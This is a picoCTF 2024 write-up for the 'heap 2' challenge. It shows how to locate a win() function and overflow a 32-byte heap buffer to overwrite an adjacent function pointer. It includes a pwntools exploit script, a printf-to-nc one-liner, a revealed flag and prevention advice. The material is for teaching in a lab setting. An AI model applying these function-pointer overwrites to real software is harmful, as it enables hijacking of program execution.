heap 2 picoCTF 2024 Solution

Published: April 3, 2024

Description

Can you handle function pointers?

Local + remote

Download chall and chall.c for local reversing.

Confirm the binary is 64-bit ELF before relying on 8-byte little-endian addresses.

Connect to mimas.picoctf.net <PORT_FROM_INSTANCE> to exploit the live service.

bash
wget https://artifacts.picoctf.net/c_mimas/51/chall && \
chmod +x chall && \
wget https://artifacts.picoctf.net/c_mimas/51/chall.c
bash
file chall
bash
nc mimas.picoctf.net <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
This builds on heap 0 and heap 1 by introducing function pointer overwrites. Complete this challenge, then tackle heap 3 to learn use-after-free techniques. The Buffer Overflow and Binary Exploitation guide covers heap exploitation including tcache poisoning in depth, the Heap Exploitation for CTF guide breaks down function-pointer overwrites end to end, and the Pwntools for CTF guide shows how to deliver this payload reliably.
  1. Step 1
    Find win()
    Observation
    I noticed the challenge is named 'heap-2' and builds on heap-0 and heap-1 with function pointer overwrites, which suggested that a hidden win() function must exist in the binary at a fixed, non-PIE address that I need to locate before crafting the payload.
    Use nm chall | grep win (or objdump -D chall | grep '<win>:') to read the win() address (0x4011a0). The payload must encode it in 8-byte little-endian.
    bash
    nm chall | grep win
    bash
    objdump -D chall | grep '<win>:'

    Expected output

    00000000004011a0 T win
    00000000004011a0 <win>:
    What didn't work first

    Tried: Run objdump -D chall | grep win without anchoring on the angle-bracket form

    The unanchored grep matches any string containing 'win', including relocation entries like 'R_X86_64_GOTPCRELX win' and strings such as 'winning'. This produces several extra lines and makes it easy to copy the wrong address. Anchoring the pattern to '<win>:' isolates exactly the disassembly label for the function.

    Tried: Assume the win() address will change each run because ASLR is enabled system-wide

    ASLR randomizes the stack and mmap regions but does NOT randomize a non-PIE executable's code segment. Without the -pie flag at link time, the .text section is always mapped at the same virtual address (0x400000 base). Confirm with 'file chall' - if it says 'not pie' the win() address is static and you can hardcode it.

    Learn more

    A win function (also called a "magic function" or "backdoor function") lives in the binary but never runs during normal execution; it exists solely to be reached via exploitation. nm chall | grep win reads the symbol table directly and prints one tidy line: 00000000004011a0 T win. objdump -D chall | grep win also works but pulls in relocation entries and any string that happens to contain "win", so anchoring on '<win>:' filters the noise.

    Since the binary is compiled without PIE (Position-Independent Executable), this address is fixed across runs. With PIE enabled you would need to leak the base address first (via a format string or info disclosure bug) and compute win() at runtime.

    The 64-bit address 0x00000000004011a0 maps to the byte sequence \xa0\x11\x40\x00\x00\x00\x00\x00 in little-endian: lowest byte first. Each pair of hex digits is one byte; the high bytes are zeros because the address fits comfortably below 2^32.

    On a real binary without a win() function, you would instead redirect execution to a ROP gadget or shellcode. The win() function is a training-wheels simplification used in CTF challenges to focus learning on the overflow mechanic without requiring knowledge of ROP chains.

  2. Step 2
    Craft the payload
    Observation
    I noticed the source has a 32-byte buffer immediately followed by a function pointer in a heap-adjacent struct, which suggested I needed to fill exactly 32 bytes of filler and then overwrite the pointer with the little-endian encoding of the win() address.
    Overflow the 32-byte buffer with filler followed by the little-endian win() pointer (\xa0\x11\x40\x00\x00\x00\x00\x00).
    bash
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\x00\x00\x00\x00
    What didn't work first

    Tried: Send the win() address in big-endian order as \x00\x00\x00\x00\x00\x40\x11\xa0

    x86-64 is a little-endian architecture, so multi-byte values are stored lowest byte first. Writing the bytes in big-endian order causes the CPU to reconstruct the pointer as 0xa011400000000000, which is in non-canonical address space. The kernel raises a SIGSEGV on the bad jump rather than executing win().

    Tried: Use only 31 bytes of filler instead of 32 before the address bytes

    The buffer is 32 bytes wide. Sending only 31 'A' bytes means the first address byte lands at offset 31 (still inside the buffer), shifting every subsequent byte one position early. The function pointer field at offset 32 receives the second address byte as its lowest byte, producing a completely wrong 8-byte value and a crash rather than a flag.

    Learn more

    Little-endian byte order means the least significant byte is stored first. The address 0x4011a0 in little-endian 64-bit representation is \xa0\x11\x40\x00\x00\x00\x00\x00 (lowest byte first). When the program reads this 8-byte sequence from the heap as a 64-bit pointer, it reconstructs 0x00000000004011a0 - the correct function pointer value.

    Heap layout immediately after the overflowing fgets():
    
             offset 0    8    16   24   32        40
             |        |    |    |    |    |    |    |
    buffer-> | 'A'x32 ........................ |fp |
             +----- 32 bytes of filler -------+----+
                                              |
                                              +-- the function pointer field
                                                  of the next heap object
    
    After write:
      buffer[0..31]  = "AAAAAAAAA...AAAA"
      buffer[32..39] = \xa0\x11\x40\x00\x00\x00\x00\x00
                       ^^^^^^^^^^^^^^^^
                       read back as uint64_t = 0x00000000004011a0  (win)
    
    Trigger:
      menu option 4 calls fp() -> jumps to win() -> flag printed

    Getting byte order right is one of the most common sources of bugs in exploit development. pwntools provides p64(address) to pack a 64-bit value in little-endian format and p32(address) for 32-bit values. Using these helpers avoids manual byte reversal errors, especially for addresses with zeros in unexpected positions.

    The 8-byte pointer size is specific to 64-bit systems (x86-64, arm64). On 32-bit systems, pointers are 4 bytes and addresses fit in a single word. When exploiting a binary, always verify the word size - it affects pointer sizes, stack alignment requirements, and calling conventions.

    Function pointer overwrites were historically one of the most powerful heap exploit primitives. By overwriting a function pointer stored on the heap (like a callback, a vtable entry, or a longjmp buffer), an attacker redirects execution to arbitrary code the next time the pointer is called. Modern mitigations like CFI (Control Flow Integrity) and CET (Control-flow Enforcement Technology) restrict where function pointers can jump, limiting this attack class.

  3. Step 3
    Automate with pwntools
    Observation
    I noticed that piping raw bytes to nc misaligns menu prompts when the server issues them with delays, which suggested using pwntools sendlineafter to synchronize each send with the server's prompt before triggering the overwritten function pointer via menu option 4.
    Use pwntools to wait for each prompt before sending. p.sendlineafter ensures the server is ready, then option 4 triggers the overwritten function pointer.
    python
    from pwn import *
    p = remote('mimas.picoctf.net', PORT)
    p.sendlineafter(b'option:', b'2')
    p.sendlineafter(b'data:', b'A' * 32 + p64(0x4011a0))
    p.sendlineafter(b'option:', b'4')
    print(p.recvall(timeout=2).decode())

    If you don't want pwntools, the shell fallback is printf '2\nAAAA...AAAA\xa0\x11\x40\x00\x00\x00\x00\x00\n4\n' | nc mimas.picoctf.net <PORT_FROM_INSTANCE> (32 A's plus the packed pointer). The catch: when the server prints prompts with delays, your whole payload may be buffered and arrive before the read is opened, so the response either hangs silently or comes back as "invalid option" instead of crashing.

    What didn't work first

    Tried: Pipe the payload directly with printf and nc instead of using sendlineafter

    printf '2\n' + payload + '\n4\n' | nc fires all bytes at once before the server has issued its prompts. The server reads option 2 correctly but the subsequent fgets() for the data field may consume part of the remaining input before it is ready, causing the 32 A's and the address bytes to be split across two reads or misaligned with the wrong prompt. The result is either 'invalid option' or a silent hang with no flag printed.

    Tried: Send menu option 4 before option 2 to try to trigger win() directly

    Before option 2 is exercised the function pointer field still holds the original callback address (print_menu or a placeholder). Selecting option 4 first calls that untouched pointer, which either prints the normal menu again or segfaults if the field is null. The overwrite must happen via option 2 first; only then does option 4 jump to win().

    Learn more

    p64(0x4011a0) packs the address as 8 little-endian bytes (\xa0\x11\x40\x00\x00\x00\x00\x00) without any manual escaping. This is the canonical way to write 64-bit addresses in pwntools and avoids the most common byte-order bug in exploit scripts.

    sendlineafter reads server output until it sees the prompt, then sends the payload. That synchronization is what the shell one-liner lacks: a buffered printf | nc will fire all input at once, and if the server hasn't opened its read yet, the bytes pile up in the pipe and either get consumed against the wrong prompt (silent failure) or trigger a "please choose a valid option" loop that hides the actual win() call.

    The menu option sequence (2 โ†’ write payload โ†’ 4 โ†’ trigger) demonstrates how exploit steps must be sequenced correctly. Attempting option 4 before option 2 would fail because the function pointer hasn't been overwritten yet; careful sequencing combined with response verification at each step is the hallmark of reliable exploit automation.

    Once win() executes, it typically calls system("/bin/sh") or directly reads and prints the flag file. Either way, execution has been redirected to attacker-chosen code, which is the definition of arbitrary code execution. From this point, the attacker has the same capabilities as the program (read files, make network connections, etc.), subject to OS-level permissions.

Interactive tools
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{and_down_the_road_we_go_dbb...}

Overwriting the function pointer with win() immediately prints the flag.

Key takeaway

Heap overflows that reach a function pointer stored in an adjacent chunk allow an attacker to redirect execution to any known address, including hidden 'win' functions or ROP gadgets. This pattern appears whenever a callback, vtable entry, or longjmp buffer sits in writable heap memory next to a buffer without strict bounds checking. Control Flow Integrity (CFI) mitigations restrict valid indirect call targets at runtime, and ASLR combined with PIE removes the fixed addresses that make these overwrites trivially weaponizable.

How to prevent this

Function pointers in writable memory adjacent to user data are the textbook code-redirection target. Treat them as guarded resources.

  • Avoid writable function pointers entirely. Use enums + switch statements for dispatch, or vtables in read-only memory. If a callback is needed, validate the pointer against an allowlist before each call.
  • Enable CFI (Control Flow Integrity): -fsanitize=cfi in Clang, or /guard:cf in MSVC. CFI traps any indirect call to a non-allowlisted target, killing function-pointer hijacks at runtime.
  • Enable PIE + RELRO + ASLR. Even with arbitrary write, a randomized binary base means the attacker cannot guess the address of win() without an additional info leak.

Related reading

Want more picoCTF 2024 writeups?

Tools used in this challenge

Do these first

What to try next